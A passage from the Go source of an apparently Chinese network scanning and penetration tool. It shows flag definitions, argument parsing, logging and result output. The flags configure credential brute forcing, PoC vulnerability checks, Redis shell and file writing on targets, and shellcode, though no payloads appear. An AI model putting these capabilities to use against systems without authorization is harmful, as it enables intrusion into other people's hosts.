flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
// ═════════════════════════════════════════════════
// 扫描控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
// ═════════════════════════════════════════════════
// 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
// ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
// ═════════════════════════════════════════════════
// POC测试参数
// ═════════════════════════════════════════════════
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
// ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
// ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
// 输出与显示控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
flag.StringVar(&ApiAddr, "api", "", GetText("flag_api"))
flag.StringVar(&SecretKey, "secret", "", GetText("flag_api_key"))
// 解析命令行参数
parseCommandLineArgs()
// 设置语言
SetLanguage()
}
// FlagFormRemote 解析远程扫描的命令行参数
func FlagFromRemote(info *HostInfo, argString string) error {
if strings.TrimSpace(argString) == "" {
return fmt.Errorf("参数为空")
}
args, err := parseEnvironmentArgs(argString)
if err != nil {
return fmt.Errorf("远程参数解析失败: %v", err)
}
// 创建一个新的 FlagSet 用于远程参数解析,避免污染主命令行
fs := flag.NewFlagSet("remote", flag.ContinueOnError)
// 注册需要的远程 flag,注意使用 fs 而非 flag 包的全局变量
fs.StringVar(&info.Host, "h", "", GetText("flag_host"))
fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
fs.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
fs.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num"))
fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
fs.StringVar(&Username, "user", "", GetText("flag_username"))
fs.StringVar(&Password, "pwd", "", GetText("flag_password"))
fs.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
fs.StringVar(&Domain, "domain", "", GetText("flag_domain"))
fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
fs.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
fs.StringVar(&Language, "lang", "zh", GetText("flag_language"))
// 开始解析远程传入的参数
if err := fs.Parse(args); err != nil {
return fmt.Errorf("远程参数解析失败: %v", err)
}
return nil
}
// parseCommandLineArgs 处理来自环境变量和命令行的参数
func parseCommandLineArgs() {
// 首先检查环境变量中的参数
envArgsString := os.Getenv("FS_ARGS")
if envArgsString != "" {
// 解析环境变量参数 (跨平台支持)
envArgs, err := parseEnvironmentArgs(envArgsString)
if err == nil && len(envArgs) > 0 {
flag.CommandLine.Parse(envArgs)
os.Unsetenv("FS_ARGS") // 使用后清除环境变量
return
}
// 如果环境变量解析失败,继续使用命令行参数
}
// 解析命令行参数
flag.Parse()
}
// parseEnvironmentArgs 安全地解析环境变量中的参数
func parseEnvironmentArgs(argsString string) ([]string, error) {
if strings.TrimSpace(argsString) == "" {
return nil, fmt.Errorf("empty arguments string")
}
// 使用更安全的参数分割方法
var args []string
var currentArg strings.Builder
inQuote := false
quoteChar := ' '
for _, char := range argsString {
switch {
case char == '"' || char == '\'':
if inQuote && char == quoteChar {
inQuote = false
} else if !inQuote {
inQuote = true
quoteChar = char
} else {
currentArg.WriteRune(char)
}
case char == ' ' && !inQuote:
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
currentArg.Reset()
}
default:
currentArg.WriteRune(char)
}
}
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
}
return args, nil
}
================================================
FILE: Common/Log.go
================================================
package Common
import (
"fmt"
"io"
"log"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
// 全局变量定义
var (
// 扫描状态管理器,记录最近一次成功和错误的时间
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
// Num 表示待处理的总任务数量
Num int64
// End 表示已经完成的任务数量
End int64
)
// ScanStatus 用于记录和管理扫描状态的结构体
type ScanStatus struct {
mu sync.RWMutex // 读写互斥锁,用于保护并发访问
total int64 // 总任务数
completed int64 // 已完成任务数
lastSuccess time.Time // 最近一次成功的时间
lastError time.Time // 最近一次错误的时间
}
// LogEntry 定义单条日志的结构
type LogEntry struct {
Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG
Time time.Time // 日志时间
Content string // 日志内容
}
// 定义系统支持的日志级别常量
const (
LogLevelAll = "ALL" // 显示所有级别日志
LogLevelError = "ERROR" // 仅显示错误日志
LogLevelBase = "BASE" // 仅显示信息日志
LogLevelInfo = "INFO" // 仅显示信息日志
LogLevelSuccess = "SUCCESS" // 仅显示成功日志
LogLevelDebug = "DEBUG" // 仅显示调试日志
)
// 日志级别对应的显示颜色映射
var logColors = map[string]color.Attribute{
LogLevelError: color.FgBlue, // 错误日志显示蓝色
LogLevelBase: color.FgYellow, // 信息日志显示黄色
LogLevelInfo: color.FgGreen, // 信息日志显示绿色
LogLevelSuccess: color.FgRed, // 成功日志显示红色
LogLevelDebug: color.FgWhite, // 调试日志显示白色
}
// InitLogger 初始化日志系统
func InitLogger() {
// 禁用标准日志输出
log.SetOutput(io.Discard)
}
var StartTime = time.Now()
// formatLogMessage 格式化日志消息为标准格式
// 返回格式:[时间] [级别] 内容
func formatLogMessage(entry *LogEntry) string {
elapsed := time.Since(StartTime)
var timeStr string
// 根据时间长短选择合适的单位
switch {
case elapsed < time.Second:
// 毫秒显示,不需要小数
timeStr = fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < time.Minute:
// 秒显示,保留一位小数
timeStr = fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < time.Hour:
// 分钟和秒显示
minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dm%ds", minutes, seconds)
default:
// 小时、分钟和秒显示
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
str := " "
switch entry.Level {
case LogLevelSuccess:
str = "[+]"
case LogLevelInfo:
str = "[*]"
case LogLevelError:
str = "[-]"
}
return fmt.Sprintf("[%s] %s %s", timeStr, str, entry.Content)
}
// printLog 根据日志级别打印日志
func printLog(entry *LogEntry) {
if LogLevel != "debug" && (entry.Level == LogLevelDebug || entry.Level == LogLevelError) {
return
}
OutputMutex.Lock()
defer OutputMutex.Unlock()
// 处理进度条
clearAndWaitProgress()
// 打印日志消息
logMsg := formatLogMessage(entry)
if !NoColor {
// 使用彩色输出
if colorAttr, ok := logColors[entry.Level]; ok {
color.New(colorAttr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
} else {
// 普通输出
fmt.Println(logMsg)
}
// 根据慢速输出设置决定是否添加延迟
if SlowLogOutput {
time.Sleep(50 * time.Millisecond)
}
// 重新显示进度条
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// clearAndWaitProgress 清除进度条并等待
func clearAndWaitProgress() {
if ProgressBar != nil {
ProgressBar.Clear()
time.Sleep(10 * time.Millisecond)
}
}
// handleLog 统一处理日志的输出
func handleLog(entry *LogEntry) {
if ProgressBar != nil {
ProgressBar.Clear()
}
printLog(entry)
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// LogDebug 记录调试日志
func LogDebug(msg string) {
handleLog(&LogEntry{
Level: LogLevelDebug,
Time: time.Now(),
Content: msg,
})
}
// LogBase 记录进度信息
func LogBase(msg string) {
handleLog(&LogEntry{
Level: LogLevelBase,
Time: time.Now(),
Content: msg,
})
}
// LogInfo 记录信息日志
// [*]
func LogInfo(msg string) {
handleLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
// LogSuccess 记录成功日志,并更新最后成功时间
// [+]
func LogSuccess(result string) {
entry := &LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
}
handleLog(entry)
// 更新最后成功时间
status.mu.Lock()
status.lastSuccess = time.Now()
status.mu.Unlock()
}
// LogError 记录错误日志,自动包含文件名和行号信息
func LogError(errMsg string) {
// 获取调用者的文件名和行号
_, file, line, ok := runtime.Caller(1)
if !ok {
file = "unknown"
line = 0
}
file = filepath.Base(file)
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
entry := &LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
}
handleLog(entry)
}
// CheckErrs 检查是否为需要重试的错误
func CheckErrs(err error) error {
if err == nil {
return nil
}
// 已知需要重试的错误列表
errs := []string{
"closed by the remote host", "too many connections",
"EOF", "A connection attempt failed",
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"No connection could be made",
"invalid packet size",
"bad connection",
}
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) {
time.Sleep(1 * time.Second)
return err
}
}
return nil
}
================================================
FILE: Common/Output.go
================================================
package Common
import (
"encoding/csv"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
// 全局输出管理器
var ResultOutput *OutputManager
// OutputManager 输出管理器结构体
type OutputManager struct {
mu sync.Mutex
outputPath string
outputFormat string
file *os.File
csvWriter *csv.Writer
jsonEncoder *json.Encoder
isInitialized bool
}
// ResultType 定义结果类型
type ResultType string
const (
HOST ResultType = "HOST" // 主机存活
PORT ResultType = "PORT" // 端口开放
SERVICE ResultType = "SERVICE" // 服务识别
VULN ResultType = "VULN" // 漏洞发现
)
// ScanResult 扫描结果结构
type ScanResult struct {
Time time.Time `json:"time"` // 发现时间
Type ResultType `json:"type"` // 结果类型
Target string `json:"target"` // 目标(IP/域名/URL)
Status string `json:"status"` // 状态描述
Details map[string]interface{} `json:"details"` // 详细信息
}
// InitOutput 初始化输出系统
func InitOutput() error {
LogDebug(GetText("output_init_start"))
// 验证输出格式
switch OutputFormat {
case "txt", "json", "csv":
// 有效的格式
default:
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
}
// 验证输出路径
if Outputfile == "" {
return fmt.Errorf(GetText("output_path_empty"))
}
dir := filepath.Dir(Outputfile)
if err := os.MkdirAll(dir, 0755); err != nil {
LogDebug(GetText("output_create_dir_failed", err))
return fmt.Errorf(GetText("output_create_dir_failed", err))
}
if ApiAddr != "" {
OutputFormat = "csv"
Outputfile = filepath.Join(dir, "fscanapi.csv")
Num = 0
End = 0
if _, err := os.Stat(Outputfile); err == nil {
if err := os.Remove(Outputfile); err != nil {
return fmt.Errorf(GetText("output_file_remove_failed", err))
}
}
}
manager := &OutputManager{
outputPath: Outputfile,
outputFormat: OutputFormat,
}
if err := manager.initialize(); err != nil {
LogDebug(GetText("output_init_failed", err))
return fmt.Errorf(GetText("output_init_failed", err))
}
ResultOutput = manager
LogDebug(GetText("output_init_success"))
return nil
}
func (om *OutputManager) initialize() error {
om.mu.Lock()
defer om.mu.Unlock()
if om.isInitialized {
LogDebug(GetText("output_already_init"))
return nil
}
LogDebug(GetText("output_opening_file", om.outputPath))
file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return fmt.Errorf(GetText("output_open_file_failed", err))
}
om.file = file
switch om.outputFormat {
case "csv":
LogDebug(GetText("output_init_csv"))
om.csvWriter = csv.NewWriter(file)
headers := []string{"Time", "Type", "Target", "Status", "Details"}
if err := om.csvWriter.Write(headers); err != nil {
LogDebug(GetText("output_write_csv_header_failed", err))
file.Close()
return fmt.Errorf(GetText("output_write_csv_header_failed", err))
}
om.csvWriter.Flush()
case "json":
LogDebug(GetText("output_init_json"))
om.jsonEncoder = json.NewEncoder(file)
om.jsonEncoder.SetIndent("", " ")
case "txt":
LogDebug(GetText("output_init_txt"))
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
}
om.isInitialized = true
LogDebug(GetText("output_init_complete"))
return nil
}
// SaveResult 保存扫描结果
func SaveResult(result *ScanResult) error {
if ResultOutput == nil {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
LogDebug(GetText("output_saving_result", result.Type, result.Target))
return ResultOutput.saveResult(result)
}
func GetResults() ([]*ScanResult, error) {
if ResultOutput == nil {
return nil, fmt.Errorf(GetText("output_not_init"))
}
if ResultOutput.outputFormat == "csv" {
return ResultOutput.getResult()
}
// 其他格式尚未实现读取支持
return nil, fmt.Errorf(GetText("output_format_read_not_supported"))
}
func (om *OutputManager) saveResult(result *ScanResult) error {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
var err error
switch om.outputFormat {
case "txt":
err = om.writeTxt(result)
case "json":
err = om.writeJson(result)
case "csv":
err = om.writeCsv(result)
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
return fmt.Errorf(GetText("output_format_invalid", om.outputFormat))
}
if err != nil {
LogDebug(GetText("output_save_failed", err))
} else {
LogDebug(GetText("output_save_success", result.Type, result.Target))
}
return err
}
func (om *OutputManager) getResult() ([]*ScanResult, error) {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return nil, fmt.Errorf(GetText("output_not_init"))
}
file, err := os.Open(om.outputPath)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return nil, err
}
defer file.Close()
reader := csv.NewReader(file)
records, err := reader.ReadAll()
if err != nil {
LogDebug(GetText("output_read_csv_failed", err))
return nil, err
}
var results []*ScanResult
for i, row := range records {
// 跳过 CSV 头部
if i == 0 {
continue
}
if len(row) < 5 {
continue // 数据不完整
}
t, err := time.Parse("2006-01-02 15:04:05", row[0])
if err != nil {
continue
}
var details map[string]interface{}
if err := json.Unmarshal([]byte(row[4]), &details); err != nil {
details = make(map[string]interface{})
}
result := &ScanResult{
Time: t,
Type: ResultType(row[1]),
Target: row[2],
Status: row[3],
Details: details,
}
results = append(results, result)
}
LogDebug(GetText("output_read_csv_success", len(results)))
return results, nil
}
func (om *OutputManager) writeTxt(result *ScanResult) error {
// 格式化 Details 为键值对字符串
var details string
if len(result.Details) > 0 {
pairs := make([]string, 0, len(result.Details))
for k, v := range result.Details {
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v))
}
details = strings.Join(pairs, ", ")
}
txt := GetText("output_txt_format",
result.Time.Format("2006-01-02 15:04:05"),
result.Type,
result.Target,
result.Status,
details,
) + "\n"
_, err := om.file.WriteString(txt)
return err
}
func (om *OutputManager) writeJson(result *ScanResult) error {
return om.jsonEncoder.Encode(result)
}
func (om *OutputManager) writeCsv(result *ScanResult) error {
details, err := json.Marshal(result.Details)
if err != nil {
details = []byte("{}")
}
record := []string{
result.Time.Format("2006-01-02 15:04:05"),
string(result.Type),
result.Target,
result.Status,
string(details),
}
if err := om.csvWriter.Write(record); err != nil {
return err
}
om.csvWriter.Flush()
return om.csvWriter.Error()
}
// CloseOutput 关闭输出系统
func CloseOutput() error {
if ResultOutput == nil {
LogDebug(GetText("output_no_need_close"))
return nil
}
LogDebug(GetText("output_closing"))
ResultOutput.mu.Lock()
defer ResultOutput.mu.Unlock()
if !ResultOutput.isInitialized {
LogDebug(GetText("output_no_need_close"))
return nil
}
if ResultOutput.csvWriter != nil {
LogDebug(GetText("output_flush_csv"))
ResultOutput.csvWriter.Flush()
}
if err := ResultOutput.file.Close(); err != nil {
LogDebug(GetText("output_close_failed", err))
return fmt.Errorf(GetText("output_close_failed", err))
}
ResultOutput.isInitialized = false
LogDebug(GetText("output_closed"))
return nil
}
================================================
FILE: Common/Parse.go
================================================
package Common
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"net/url"
"os"
"strings"
)
// Parse 配置解析的总入口函数
// 协调调用各解析子函数,完成完整的配置处理流程
func Parse(Info *HostInfo) error {
// 按照依赖顺序解析各类配置
if err := ParseUser(); err != nil {
return fmt.Errorf("用户名解析错误: %v", err)
}
if err := ParsePass(Info); err != nil {
return fmt.Errorf("密码与目标解析错误: %v", err)
}
if err := ParseInput(Info); err != nil {
return fmt.Errorf("输入参数解析错误: %v", err)
}
return nil
}
// ParseUser 解析用户名配置
// 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典
func ParseUser() error {
// 如果未指定用户名和用户名文件,无需处理
if Username == "" && UsersFile == "" {
return nil
}
// 收集所有用户名
var usernames []string
// 处理命令行参数指定的用户名列表
if Username != "" {
usernames = strings.Split(Username, ",")
LogBase(GetText("no_username_specified", len(usernames)))
}
// 从文件加载用户名列表
if UsersFile != "" {
fileUsers, err := ReadFileLines(UsersFile)
if err != nil {
return fmt.Errorf("读取用户名文件失败: %v", err)
}
// 添加非空用户名
for _, user := range fileUsers {
if user != "" {
usernames = append(usernames, user)
}
}
LogBase(GetText("load_usernames_from_file", len(fileUsers)))
}
// 去重处理
usernames = RemoveDuplicate(usernames)
LogBase(GetText("total_usernames", len(usernames)))
// 更新所有字典的用户名列表
for name := range Userdict {
Userdict[name] = usernames
}
return nil
}
// ParsePass 解析密码、URL、主机和端口等目标配置
// 处理多种输入源的配置,并更新全局目标信息
func ParsePass(Info *HostInfo) error {
// 处理密码配置
parsePasswords()
// 处理哈希值配置
parseHashes()
// 处理URL配置
parseURLs()
// 处理主机配置
if err := parseHosts(Info); err != nil {
return err
}
// 处理端口配置
if err := parsePorts(); err != nil {
return err
}
return nil
}
// parsePasswords 解析密码配置
// 处理直接指定的密码和从文件加载的密码
func parsePasswords() {
var pwdList []string
// 处理命令行参数指定的密码列表
if Password != "" {
passes := strings.Split(Password, ",")
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
LogBase(GetText("load_passwords", len(pwdList)))
}
// 从文件加载密码列表
if PasswordsFile != "" {
passes, err := ReadFileLines(PasswordsFile)
if err != nil {
LogError(fmt.Sprintf("读取密码文件失败: %v", err))
return
}
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
LogBase(GetText("load_passwords_from_file", len(passes)))
}
}
// parseHashes 解析哈希值配置
// 验证并处理哈希文件中的哈希值
func parseHashes() {
// 处理哈希文件
if HashFile == "" {
return
}
hashes, err := ReadFileLines(HashFile)
if err != nil {
LogError(fmt.Sprintf("读取哈希文件失败: %v", err))
return
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
// 验证哈希长度(MD5哈希为32位)
if len(line) == 32 {
HashValues = append(HashValues, line)
validCount++
} else {
LogError(GetText("invalid_hash", line))
}
}
LogBase(GetText("load_valid_hashes", validCount))
}
// parseURLs 解析URL目标配置
// 处理命令行和文件指定的URL列表,去重后更新全局URL列表
func parseURLs() {
urlMap := make(map[string]struct{})
// 处理命令行参数指定的URL列表
if TargetURL != "" {
urls := strings.Split(TargetURL, ",")
for _, url := range urls {
if url != "" {
urlMap[url] = struct{}{}
}
}
}
// 从文件加载URL列表
if URLsFile != "" {
urls, err := ReadFileLines(URLsFile)
if err != nil {
LogError(fmt.Sprintf("读取URL文件失败: %v", err))
return
}
for _, url := range urls {
if url != "" {
urlMap[url] = struct{}{}
}
}
}
// 更新全局URL列表(已去重)
URLs = make([]string, 0, len(urlMap))
for u := range urlMap {
URLs = append(URLs, u)
}
if len(URLs) > 0 {
LogBase(GetText("load_urls", len(URLs)))
}
}
// parseHosts 解析主机配置
// 从文件加载主机列表并更新目标信息
func parseHosts(Info *HostInfo) error {
// 如果未指定主机文件,无需处理
if HostsFile == "" {
return nil
}
hosts, err := ReadFileLines(HostsFile)
if err != nil {
return fmt.Errorf("读取主机文件失败: %v", err)
}
// 去重处理
hostMap := make(map[string]struct{})
for _, host := range hosts {
if host != "" {
hostMap[host] = struct{}{}
}
}
// 构建主机列表并更新Info.Host
if len(hostMap) > 0 {
var hostList []string
for host := range hostMap {
hostList = append(hostList, host)
}
hostStr := strings.Join(hostList, ",")
if Info.Host == "" {
Info.Host = hostStr
} else {
Info.Host += "," + hostStr
}
LogBase(GetText("load_hosts_from_file", len(hosts)))
}
return nil
}
// parsePorts 解析端口配置
// 从文件加载端口列表并更新全局端口配置
func parsePorts() error {
// 如果未指定端口文件,无需处理
if PortsFile == "" {
return nil
}
ports, err := ReadFileLines(PortsFile)
if err != nil {
return fmt.Errorf("读取端口文件失败: %v", err)
}
// 构建端口列表字符串
var portBuilder strings.Builder
for _, port := range ports {
if port != "" {
portBuilder.WriteString(port)
portBuilder.WriteString(",")
}
}
// 更新全局端口配置
Ports = portBuilder.String()
LogBase(GetText("load_ports_from_file"))
return nil
}
// parseExcludePorts 解析排除端口配置
// 更新全局排除端口配置
func parseExcludePorts() {
if ExcludePorts != "" {
LogBase(GetText("exclude_ports", ExcludePorts))
// 确保排除端口被正确设置到全局配置中
// 这将由PortScan函数在处理端口时使用
}
}
// ReadFileLines 读取文件内容并返回非空行的切片
// 通用的文件读取函数,处理文件打开、读取和错误报告
func ReadFileLines(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行读取文件内容,忽略空行
lineCount := 0
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, text)
lineCount++
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_failed", filename, err))
return nil, err
}
LogBase(GetText("read_file_success", filename, lineCount))
return content, nil
}
// ParseInput 解析和验证输入参数配置
// 处理多种配置的冲突检查、格式验证和参数处理
func ParseInput(Info *HostInfo) error {
// 检查扫描模式冲突
if err := validateScanMode(Info); err != nil {
return err
}
// 处理端口配置组合
processPortsConfig()
// 处理排除端口配置
parseExcludePorts()
// 处理额外用户名和密码
processExtraCredentials()
// 处理代理配置
if err := processProxySettings(); err != nil {
return err
}
// 处理哈希值
if err := processHashValues(); err != nil {
return err
}
return nil
}
// validateScanMode 验证扫描模式
// 检查互斥的扫描模式配置,避免参数冲突
func validateScanMode(Info *HostInfo) error {
// 检查互斥的扫描模式(主机扫描、URL扫描、本地模式)
modes := 0
if Info.Host != "" || HostsFile != "" {
modes++
}
if len(URLs) > 0 || TargetURL != "" || URLsFile != "" {
